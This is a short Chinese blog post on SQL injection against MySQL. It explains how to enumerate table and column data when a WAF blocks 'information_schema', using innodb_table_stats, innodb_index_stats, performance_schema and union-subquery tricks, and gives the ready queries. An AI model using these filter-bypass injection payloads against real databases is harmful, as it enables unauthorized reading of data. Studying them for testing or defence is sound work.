jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息

8dc0be554b2ee3bfddedc75dbc64493d.gif

问:在进行MySQL注入时,我们通常是通过information_schema元数据来获取表名、字段名信息,从而读取相应数据。但是如果waf或其它过滤了information_schema关键字,那么还有什么方法可以读取元数据信息呢?答:从MySQL5.5开始,默认存储引擎称为InnoDB,但是在MySQL5.6及更高版本中,InnoDB创建了2个新表。innodb_index_stats和innodb_table_stats。这两个表都包含所有新创建数据库名及表名。

select * from mysql.innodb_table_stats;

062bcae5e5db239f6fbe0685d91943ba.png

select * from mysql.innodb_index_stats;

6b093a41be50e3b8b633906e07f3933a.png

select table_name from mysql.innodb_table_stats where database_name=schema();

e31894f0f6cdbb8903d344b339d2aa09.png

performance_schema方法:

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();

893f4ee4b9584e46018e43352721502c.png

表名知道了,那如何提取列名呢?根本不需要探测字段个数,当然你也可以用order by, group_by:

select (select*from users limit 1)=(select 1);
select (select*from users limit 1)=(select 1, 2);

提取指定字段值:

select(select a from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
select(select b from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);

73ae4263d4e37c913215492adfa49ebe.png

发表于国外最近某篇文章,觉得不错,实验了下发出来。

643b558e1b5553f75b7c523e9cfbf4bf.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值